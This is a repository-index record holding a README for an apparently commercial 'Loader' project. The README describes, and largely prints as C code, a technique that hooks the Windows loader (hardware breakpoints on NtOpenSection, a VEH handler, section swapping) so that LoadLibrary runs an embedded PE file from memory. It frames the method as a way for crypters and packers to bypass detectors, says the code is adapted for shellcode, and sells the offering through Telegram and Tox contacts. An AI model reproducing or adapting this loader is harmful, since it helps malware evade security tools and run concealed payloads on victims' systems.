{"id":25424806,"url":"https://github.com/evi1grey5/loader","last_synced_at":"2025-05-14T01:32:49.957Z","repository":{"id":256708646,"uuid":"856180702","full_name":"Evi1Grey5/Loader","owner":"Evi1Grey5","description":"The most common techniques to this day are RunPE and LoadPE 👨‍💻","archived":false,"fork":false,"pushed_at":"2024-09-12T06:28:10.000Z","size":226,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2024-09-12T16:10:50.485Z","etag":null,"topics":["loader","loadpe","runpe"],"latest_commit_sha":null,"homepage":"https://injectexp.dev","language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Evi1Grey5.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-09-12T06:11:06.000Z","updated_at":"2024-09-12T06:28:48.000Z","dependencies_parsed_at":"2024-09-12T16:10:55.881Z","dependency_job_id":"903f539e-cd5a-4a1d-98d3-341ae59d2b45","html_url":"https://github.com/Evi1Grey5/Loader","commit_stats":null,"previous_names":["evi1grey5/loader"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Evi1Grey5%2FLoader","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Evi1Grey5%2FLoader/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Evi1Grey5%2FLoader/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Evi1Grey5%2FLoader/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Evi1Grey5","download_url":"https://codeload.github.com/Evi1Grey5/Loader/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":239207392,"owners_count":19599966,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["loader","loadpe","runpe"],"created_at":"2025-02-16T23:17:58.847Z","updated_at":"2025-02-16T23:17:59.316Z","avatar_url":"https://github.com/Evi1Grey5.png","language":"C","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Loader\n#### Available in an updated version from 02/4/2025. Installation and configuration instructions. The offer is purely commercial in nature.\n\n\n\u003cimg align=\"left\" src=\"https://injectexp.dev/assets/img/blog/blg-f1.png\" width=\"650\" height=\"350\"\u003e\nThe most common techniques to this day are RunPE and LoadPE 👨‍💻\nModification for loading executable files from memory\nAs you know, most cryptographers and packers use various methods to unpack and run a PE file from memory. The most common techniques to this day are RunPE and LoadPE. These techniques, especially when it comes to LoadPE, in particular cases and interesting implementations can be quite effective in terms of bypassing detectors. The essence of LoadPE is to repeat the actions that the system loader performs. Our method is not to repeat these actions, but to force the loader itself to load binaries from memory. I should also note that the implementation presented in the code was borrowed from the _Indy user (for the most part), but there is more than one way to implement this method.\n\n#\nThe method is based on intercepting some system calls that occur in the internal work of the system loader (LoadLibrary), at the stage when it tries to find the DLL in \\KnownDLLs(32). All of the above will be implemented in C, and attached to the topic in a convenient form. The method, as already found out, should work for any of the most popular PE file formats (DLL/EXE), but with .but there are some little things that we will also tell you about.\n#\nWhat is needed to implement the technique?\n\nWe start as in a regular LoadPE, create a section, if the target image does not have any relocations, we try to make a map based on the preferred database. If there is a relocation, map to a random address (*BaseAddress = 0). We copy the headers and sections to the previously created display. We patch the locks if the image was not recorded according to its database. If we are trying to launch it .exe file, then add the IMAGE_FILE_DLL attribute to the Characteristics field of the PE file header, and, of course, add AddressOfEntryPoint in the optional header.\n\nLet's save the section descriptor, the base address of the display, which managed to record (and relocate) the target image. Let's make an anmap of the display, because we no longer need it. We begin to hook. We put HWBP on NtOpenSection, add a VEH handler that will do all the work, call LoadLibrary with the fake DLL name passed to it in advance (preferably fake), handle exceptions, check the image name, directory name, force the loader to process and execute our PE file from memory, replacing the arguments in the stack/registers.\n\nIf we are trying to download the .exe, after all the procedures, we need to call EntryPoint, and preferably patch ImageBaseAddress in PEB with the base address at which we downloaded the .exe . Ready!\n\nBefore talking about an alternative implementation, let's briefly consider how the library is loaded when calling LoadLibrary, consider those calls that are interesting to us.\n\n#### The loader starts searching for a file in directories through many calls to.\n\n#### When the library file is found, NtOpenFile is called.\n\n#### After receiving the file descriptor, a section is created via NtCreateSection, the last argument is passed to the file descriptor opened earlier.\n\n#### The file is displayed via the tMapViewOfSection call.\n\n#### Closing the file descriptor and section via.\n\n\u003cdiv align=\"center\"\u003e\nImplementation for x64 PE\n\u003c/div\u003e\nWell, let's start with the headlines. Let's create headlines with all the internal structures we need\n\nAlso, we will add prototypes of Nt functions and a macro for displaying debug messages. And, of course, the most important thing is the LL_WRAPPER structure, where all the information necessary for intercepting and downloading PE will be stored.\n\nDone with the structures, let's move on to the code. Let's write two functions for copying an image to memory/its relocations. The LdrCreateImageSection function. Creates a section and, depending on the availability of locks, maps either to the database or to a random address. Calls LdrConvertFileToImage to copy the image and patch the locks.\n\n```\nPVOID LdrCreateImageSection(PLL_WRAPPER lwe, PVOID ImageBase) {\n\n    LARGE_INTEGER     sec_size;\n    OBJECT_ATTRIBUTES ObjAttr;\n    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ImageBase;\n    PIMAGE_NT_HEADERS nt = RVA2VA(PIMAGE_NT_HEADERS, ImageBase, dos-\u003ee_lfanew);\n    DWORD             size, rva;\n    ULONG_PTR         NewImageBase;\n    HANDLE            LHandle = NULL;\n    SIZE_T            ViewSize;\n    PVOID             MapAddress = NULL;\n    NTSTATUS          STATUS;\n    BOOL              has_reloc;\n\n\n\n    lwe-\u003eentrypoint = nt-\u003eOptionalHeader.AddressOfEntryPoint; // save Ep in LL_WRAPPER struct\n\n    if(!(nt-\u003eFileHeader.Characteristics \u0026 IMAGE_FILE_DLL)) // check if PE is DLL\n      lwe-\u003eis_dll = FALSE;\n    else\n      lwe-\u003eis_dll = TRUE;\n   \n\n    sec_size.QuadPart = nt-\u003eOptionalHeader.SizeOfImage;\n    ViewSize = nt-\u003eOptionalHeader.SizeOfImage;\n\n    // check if the binary has relocation information\n    size = nt-\u003eOptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;\n    has_reloc = size == 0? FALSE : TRUE;\n    if (!has_reloc)\n    {\n      DPRINT(\"No relocation information present, setting the base to: 0x%p\", (PVOID)nt-\u003eOptionalHeader.ImageBase);\n      MapAddress = (PVOID)nt-\u003eOptionalHeader.ImageBase;\n    }\n\n\n    InitializeObjectAttributes(\u0026ObjAttr, 0, 0, 0, 0);\n\n    STATUS = lwe-\u003epZwCreateSection(\u0026LHandle, SECTION_ALL_ACCESS, \u0026ObjAttr, \u0026sec_size, PAGE_EXECUTE_READWRITE, SEC_COMMIT, 0);\n    if(!NT_SUCCESS(STATUS)){\n        DPRINT(\"Unable to create section. NSTATUS: %lu\", STATUS);\n        return NULL;\n    }\n\n    STATUS = lwe-\u003epZwMapViewOfSection(LHandle, NtCurrentProcess(), \u0026MapAddress, 0, 0, NULL, \u0026ViewSize, ViewShare, NULL, PAGE_READWRITE);\n    if(!NT_SUCCESS(STATUS) \u0026\u0026 !has_reloc) {\n        DPRINT(\"Unable to map view of section on preferred base. Trying to map at random base. NSTATUS: %lu\", STATUS); // relevant only for x64 binaries\n        MapAddress = NULL;\n        STATUS = lwe-\u003epZwMapViewOfSection(LHandle, NtCurrentProcess(), \u0026MapAddress, 0, 0, NULL, \u0026ViewSize, ViewShare, NULL, PAGE_READWRITE);\n        if(!NT_SUCCESS(STATUS)) {\n          DPRINT(\"Fuck it. NTSTATUS: %lu\", STATUS);\n          return NULL;\n        }\n    }\n\n    LdrConvertFileToImage(lwe, ImageBase, MapAddress, has_reloc);\n   \n    STATUS = lwe-\u003epZwUnmapViewOfSection(NtCurrentProcess(), MapAddress);\n    if(!NT_SUCCESS(STATUS)) {\n        DPRINT(\"Unable to Unmap view of section. NSTATUS: %lu\", STATUS);\n        return NULL;\n    }\n   \n    DPRINT(\"Created section handle: %p\", LHandle);\n\n    lwe-\u003ehSection = LHandle; // save section handle\n\n    lwe-\u003eDllBase = MapAddress; // save base address\n\n    return MapAddress;\n}\n```\n\nThe LdrConvertFileToImage function copies the image to memory, re-locates, and, if necessary, googles the EP and changes the characteristics in the file header\n\n```\nFileHeader.NumberOfSections; i++)\n    {\n      PBYTE dest = (PBYTE)MapAddress + sh[i].VirtualAddress;\n      PBYTE source = (PBYTE)ImageBase + sh[i].PointerToRawData;\n\n      if (sh[i].SizeOfRawData == 0)\n        DPRINT(\"Section is empty of data, but may contain uninitialized data.\");\n     \n      // Copy the section data\n      mem_copy(dest,\n          source,\n          sh[i].SizeOfRawData);\n     \n      // Update the actual address of the section\n      sh[i].Misc.PhysicalAddress = (DWORD)*dest;\n\n      DPRINT(\"Copied section name: %s\", sh[i].Name);\n      DPRINT(\"Copied section source offset: 0x%X\", sh[i].VirtualAddress);\n      DPRINT(\"Copied section dest offset: 0x%X\", sh[i].PointerToRawData);\n      DPRINT(\"Copied section absolute address: 0x%lX\", sh[i].Misc.PhysicalAddress);\n      DPRINT(\"Copied section size: 0x%lX\", sh[i].SizeOfRawData);\n    }\n\n    DPRINT(\"Sections copied.\");\n\n    if(!lwe-\u003eis_dll) {\n        DPRINT(\"File is exe, changing characteristics in FileHeader and nulling EP.\");\n        DWORD null = 0;\n        ntnew-\u003eFileHeader.Characteristics = ntnew-\u003eFileHeader.Characteristics | IMAGE_FILE_DLL;\n        mem_copy(\u0026ntnew-\u003eOptionalHeader.AddressOfEntryPoint, \u0026null, sizeof(DWORD));\n    }\n\n    ntnew-\u003eOptionalHeader.ImageBase = (ULONG_PTR)MapAddress;\n\n    ofs  = (PBYTE)MapAddress - nt-\u003eOptionalHeader.ImageBase;\n    //relocs\n    if (ofs != 0 \u0026\u0026 has_reloc)\n    {\n      DPRINT(\"Applying Relocations\");\n     \n      rva  = ntnew-\u003eOptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;\n      ibr = RVA2VA(PIMAGE_BASE_RELOCATION, MapAddress, rva);\n     \n      while ((PBYTE)ibr \u003c ((PBYTE)MapAddress + rva + size) \u0026\u0026 ibr-\u003eSizeOfBlock != 0) {\n        list = (PIMAGE_RELOC)(ibr + 1);\n \n        while ((PBYTE)list != (PBYTE)ibr + ibr-\u003eSizeOfBlock) {\n          // check that the RVA is within the boundaries of the PE\n          if (ibr-\u003eVirtualAddress + list-\u003eoffset \u003c ntnew-\u003eOptionalHeader.SizeOfImage) {\n            PULONG_PTR address = (PULONG_PTR)((PBYTE)MapAddress + ibr-\u003eVirtualAddress + list-\u003eoffset);\n            if (list-\u003etype == IMAGE_REL_BASED_DIR64) {\n              *address += (ULONG_PTR)ofs;\n            } else if (list-\u003etype == IMAGE_REL_BASED_HIGHLOW) {\n              *address += (DWORD)(ULONG_PTR)ofs;\n            } else if (list-\u003etype == IMAGE_REL_BASED_HIGH) {\n              *address += HIWORD(ofs);\n            } else if (list-\u003etype == IMAGE_REL_BASED_LOW) {\n              *address += LOWORD(ofs);\n            } else if (list-\u003etype != IMAGE_REL_BASED_ABSOLUTE) {\n              DPRINT(\"ERROR: Unrecognized Relocation type %08lx.\", list-\u003etype);\n              return false;\n            }\n          }\n          list++;\n        }\n        ibr = (PIMAGE_BASE_RELOCATION)list;\n      }\n    }\n\n    return true;\n}\n```\nA small function, rather for convenience. Prepares the registers before installing the (next) HWBP, you can transfer the functionality from it to the main VEH handler (you will need to transfer it for x32... ??)\n\n```\n\u003c\u003c 0;\n        context-\u003eDr3 = (ULONG_PTR)lwe; // we keep a pointer to the structure in Dr3, because there is nothing important there\n        context-\u003eDr0 = func_addr;\n\n        lwe-\u003epZwContinue(context, FALSE);\n        lwe-\u003epRtlFreeHeap(NtCurrentTeb()-\u003eProcessEnvironmentBlock-\u003eProcessHeap, 0, context);\n    }\n    else{\n   \n        context-\u003eDr7 = 1 \u003c\u003c 0;\n        context-\u003eDr3 = (ULONG_PTR)lwe;\n        context-\u003eDr0 = func_addr;\n        lwe-\u003epZwContinue(context, FALSE);\n\n    }\n\n  return true;\n}\n```\nThe most cumbersome function in the source code. The VEH handler. Performs all the basic work of intercepting the loader. Those who are familiar with VEH should understand what is going on here.\n\n```\n#define RET_INSTRUCTION 0xC3 // 0xC2 for wow64 ntdll\n\nLONG veh (PEXCEPTION_POINTERS ExceptionInfo) {\n\n    if (ExceptionInfo-\u003eExceptionRecord-\u003eExceptionCode == STATUS_SINGLE_STEP) { //HWBP\n\n        PLL_WRAPPER lwe = (PLL_WRAPPER)ExceptionInfo-\u003eContextRecord-\u003eDr3;\n\n        if(lwe-\u003estatus == ZwOpenSection) {\n            DPRINT(\"lwe-\u003estatus == ZwOpenSection\");\n\n            WCHAR              NameBuffer[MAX_PATH*2];\n            UNICODE_STRING     ObjectName;\n            ULONG              ReturnLength = 0;\n            PUNICODE_STRING    TempName;\n            POBJECT_ATTRIBUTES ObjectAttr = (POBJECT_ATTRIBUTES)ExceptionInfo-\u003eContextRecord-\u003eR8; //3rd arg\n            DPRINT(\"ObjectAttr-\u003eObjectName: %ws\", ObjectAttr-\u003eObjectName-\u003eBuffer);\n            DPRINT(\"ObjectAttr-\u003eRootDirectory: %p\", ObjectAttr-\u003eRootDirectory);\n\n            TempName = ObjectAttr-\u003eObjectName; // save tempname\n           \n            if(lwe-\u003epRtlCompareUnicodeString(TempName, \u0026lwe-\u003eDllName, TRUE))\n              lwe-\u003epZwContinue(ExceptionInfo-\u003eContextRecord, FALSE);\n\n            ObjectName.Buffer = NameBuffer; // init ObjectName\n            ObjectName.Length = MAX_PATH*2;\n            ObjectName.MaximumLength = MAX_PATH*2;\n           \n            if(lwe-\u003epZwQueryObject(ObjectAttr-\u003eRootDirectory, ObjectNameInformation, \u0026ObjectName, MAX_PATH*2 + sizeof(UNICODE_STRING), NULL) != 0x00) {\n              lwe-\u003epZwContinue(ExceptionInfo-\u003eContextRecord, FALSE);\n            }\n            DPRINT(\"ObjectName.Buffer: %ws\", ObjectName.Buffer);\n            if(lwe-\u003epRtlCompareUnicodeString(\u0026ObjectName, \u0026lwe-\u003eDirectory, TRUE)) { //check if it's knowndlls\n              if(lwe-\u003epRtlCompareUnicodeString(\u0026ObjectName, \u0026lwe-\u003eDirectory32, TRUE)) {\n                lwe-\u003epZwContinue(ExceptionInfo-\u003eContextRecord, FALSE);\n              }\n            }\n\n            ULONG_PTR* hSection = (ULONG_PTR*)ExceptionInfo-\u003eContextRecord-\u003eRcx; // ptr to section handle\n     \n            *hSection = (ULONG_PTR)lwe-\u003ehSection; // change\n            DPRINT(\"Changed hSection to: %llu\", *hSection);\n\n            BYTE ret = 0;\n            PBYTE func_base = (PBYTE)ExceptionInfo-\u003eContextRecord-\u003eRip;\n            while(*func_base != RET_INSTRUCTION){\n              func_base++;\n              ret++;\n            } //find ret to skip ZwOpenSection\n\n            ExceptionInfo-\u003eContextRecord-\u003eRax = 0;\n            ExceptionInfo-\u003eContextRecord-\u003eRip += ret;\n\n            lwe-\u003estatus = ZwMapViewOfSection;\n            prepare((ULONG_PTR)lwe-\u003epZwMapViewOfSection, ExceptionInfo-\u003eContextRecord, lwe);\n\n            lwe-\u003epZwContinue(ExceptionInfo-\u003eContextRecord, FALSE);\n         \n        }\n\n       \n        if(lwe-\u003estatus == ZwMapViewOfSection) {\n\n            DPRINT(\"lwe-\u003estatus == ZwMapViewOfSection\");\n\n            ULONG_PTR  hSection = (ULONG_PTR)ExceptionInfo-\u003eContextRecord-\u003eRcx;\n            HANDLE     hProcess = (HANDLE)ExceptionInfo-\u003eContextRecord-\u003eRdx;\n            ULONG_PTR *BaseAddress = (ULONG_PTR *)ExceptionInfo-\u003eContextRecord-\u003eR8;\n\n            ULONG_PTR* RSP = (ULONG_PTR*)ExceptionInfo-\u003eContextRecord-\u003eRsp;\n\n            ULONG     *AllocationType = (ULONG*)((char*)RSP + 9 * 8);\n            ULONG     *Protection = (ULONG*)((char*)RSP + 10 * 8);\n\n            #ifdef DEBUG\n\n            ULONG_PTR ZeroBits = (ULONG_PTR)ExceptionInfo-\u003eContextRecord-\u003eR9;\n            SIZE_T *CommitSize = (SIZE_T*)((char*)RSP + 5 * 8);\n            PLARGE_INTEGER *SectionOffset = (PLARGE_INTEGER*)((char*)RSP + 6 * 8);\n            PSIZE_T* size = (SIZE_T**)((char*)RSP + 7 * 8);\n            ULONG *InheritDisposition = (ULONG*)((char*)RSP + 8 * 8);\n            #endif\n           \n            if(hSection != (ULONG_PTR)lwe-\u003ehSection) {\n                DPRINT(\"Section handle is not equal to pre-created one\");\n                DPRINT(\"Section handle: %p\", hSection);\n                lwe-\u003epZwContinue(ExceptionInfo-\u003eContextRecord, FALSE);\n            }\n            if(hProcess != NtCurrentProcess()) {\n              DPRINT(\"Process handle is not equal to current process handle (pseudo)\");\n              DPRINT(\"Process handle: %p\", hProcess);\n              lwe-\u003epZwContinue(ExceptionInfo-\u003eContextRecord, FALSE);\n            }\n\n            if(hSection == (ULONG_PTR)lwe-\u003ehSection \u0026\u0026 hProcess == NtCurrentProcess()) {\n                DPRINT(\"Handle of section is equal to pre-created section handle, and the process handle is ours.\");\n                *AllocationType = 0; // Cause there will be always SEC_FILE, we don't need that\n                *Protection = PAGE_EXECUTE_READWRITE; // :(. u can write handler to set proper protections inside veh handler, but there's rwx map\n                *BaseAddress = (ULONG_PTR)lwe-\u003eDllBase;\n               \n                DPRINT(\"ZwMapViewOfSection: SECTION HANDLE: %p, PROCESS HANDLE: %p, BASE ADDRESS: %p, ZeroBits: %llu, CommitSize: %llu, SectionOffset: %p, VIEW SIZE: %llu, InheritDisposition: %lu, AllocationType: %lu, Win32Protect: %lu\", \\\n                hSection, hProcess, *BaseAddress, ZeroBits, *CommitSize, *SectionOffset, **size, *InheritDisposition, *AllocationType, *Protection);\n\n               \n                lwe-\u003estatus = ZwClose;\n                prepare(lwe-\u003epZwClose, ExceptionInfo-\u003eContextRecord, lwe);\n                lwe-\u003epZwContinue(ExceptionInfo-\u003eContextRecord, FALSE);\n            }\n        }\n       \n        if(lwe-\u003estatus == ZwClose) {\n            DPRINT(\"lwe-\u003estatus == ZwClose\");\n            ULONG_PTR handle = (ULONG_PTR)ExceptionInfo-\u003eContextRecord-\u003eRcx;\n           \n            if(handle == (ULONG_PTR)lwe-\u003ehSection) {\n                DPRINT(\"Handle of section is equal to pre-created section handle!\");\n                DPRINT(\"ZwClose: section handle: %llu\", handle);\n                lwe-\u003estatus = End;\n                lwe-\u003epZwContinue(ExceptionInfo-\u003eContextRecord, FALSE);\n            }\n            else {\n                DPRINT(\"Handle of section is not equal to pre-created section handle.\");\n                DPRINT(\"ZwClose: section handle: %llu\", handle);\n                ExceptionInfo-\u003eContextRecord-\u003eEFlags |= 0x10000;\n                lwe-\u003epZwContinue(ExceptionInfo-\u003eContextRecord, FALSE);\n            }\n           \n\n        }\n        if(lwe-\u003estatus == End) {\n            DPRINT(\"lwe-\u003estatus == End\");\n            ExceptionInfo-\u003eContextRecord-\u003eDr0 = 0;\n            ExceptionInfo-\u003eContextRecord-\u003eDr1 = 0;\n            ExceptionInfo-\u003eContextRecord-\u003eDr2 = 0;\n            ExceptionInfo-\u003eContextRecord-\u003eDr3 = 0;\n            ExceptionInfo-\u003eContextRecord-\u003eDr6 = 0;\n            ExceptionInfo-\u003eContextRecord-\u003eDr7 = 0;\n            ExceptionInfo-\u003eContextRecord-\u003eEFlags |= 0x10000;\n            lwe-\u003epZwContinue(ExceptionInfo-\u003eContextRecord, FALSE);\n        }\n\n        lwe-\u003epZwContinue(ExceptionInfo-\u003eContextRecord, FALSE);\n    }\n```\n\nActually, the entry point. The only place where any imports and strings appear, all other functions are adapted for use in shellcodes. This is where the LL_WRAPPER structure is initialized, HWBP is installed, VEH handlers are added, etc.\n\n```\nint main(void) {\n\n    HMODULE        ntdll = GetModuleHandleA(\"ntdll.dll\");\n\n    HANDLE         hSection = NULL, hModule = NULL;\n    LL_WRAPPER     lwe;\n    PVOID          DllBase;\n    PVOID          entrypoint;\n    //init apis\n    lwe.pRtlCompareUnicodeString = (TD_RtlCompareUnicodeString) GetProcAddress(ntdll, \"RtlCompareUnicodeString\");\n    lwe.pRtlCreateUnicodeString  = (TD_RtlCreateUnicodeString)  GetProcAddress(ntdll, \"RtlCreateUnicodeString\");\n    lwe.pRtlAllocateHeap         = (TD_RtlAllocateHeap)         GetProcAddress(ntdll, \"RtlAllocateHeap\");\n    lwe.pZwGetContextThread      = (TD_NtGetContextThread)      GetProcAddress(ntdll, \"NtGetContextThread\");\n    lwe.pRtlFreeHeap             = (TD_RtlFreeHeap)             GetProcAddress(ntdll, \"RtlFreeHeap\");\n    lwe.pZwContinue              = (TD_NtContinue)              GetProcAddress(ntdll, \"NtContinue\");\n    lwe.pZwCreateSection         = (TD_NtCreateSection)         GetProcAddress(ntdll, \"NtCreateSection\");\n    lwe.pZwUnmapViewOfSection    = (TD_NtUnmapViewOfSection)    GetProcAddress(ntdll, \"NtUnmapViewOfSection\");\n    lwe.pZwOpenSection           = (ULONG_PTR)                  GetProcAddress(ntdll, \"NtOpenSection\");\n    lwe.pZwMapViewOfSection      = (TD_NtMapViewOfSection)      GetProcAddress(ntdll, \"NtMapViewOfSection\");\n    lwe.pZwClose                 = (ULONG_PTR)                  GetProcAddress(ntdll, \"NtClose\");\n    lwe.pZwQueryObject           = (TD_NtQueryObject)           GetProcAddress(ntdll, \"NtQueryObject\");\n    //init required strings\n    lwe.pRtlCreateUnicodeString(\u0026lwe.Directory,   L\"\\\\KnownDlls\");\n    lwe.pRtlCreateUnicodeString(\u0026lwe.Directory32, L\"\\\\KnownDlls32\");\n    lwe.pRtlCreateUnicodeString(\u0026lwe.DllName, DLL_NAME);\n\n    //create image section\n    if(!LdrCreateImageSection(\u0026lwe, rawData)){\n      DPRINT(\"Unable to create Image section from raw PE. Something wrong...\");\n      return -1;\n    }\n\n    lwe.status = ZwOpenSection;\n    // add veh handler\n    PVOID hVeh = AddVectoredExceptionHandler(1, veh);\n    // set hwbp\n    prepare(lwe.pZwOpenSection, NULL, \u0026lwe);\n    //lesgoo\n    hModule = LoadLibraryW(DLL_NAME);\n\n    RemoveVectoredExceptionHandler(hVeh);\n\n    DPRINT(\"Module base: %p\", hModule);\n\n    //fix if it's .exe\n    if(!lwe.is_dll) {\n      DPRINT(\"Your file is .exe, so it's required to update ImageBaseAddress in PEB with loaded .exe\");\n      NtCurrentTeb()-\u003eProcessEnvironmentBlock-\u003eImageBaseAddress = hModule;\n      entrypoint = RVA2VA(PVOID, hModule, lwe.entrypoint);\n      DPRINT(\"Executing .exe entrypoint: %p\", entrypoint);\n      ((void(*)())entrypoint)();\n    }\n\n    return 0;\n\n}\n```\n\u003cimg align=\"left\" src=\"https://injectexp.dev/assets/img/logo/logo1.png\"\u003e\nContacts:\ninjectexp.dev / \npro.injectexp.dev / \nTelegram: @Evi1Grey5 [support]\nTox: 340EF1DCEEC5B395B9B45963F945C00238ADDEAC87C117F64F46206911474C61981D96420B72\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fevi1grey5%2Floader","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fevi1grey5%2Floader","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fevi1grey5%2Floader/lists"}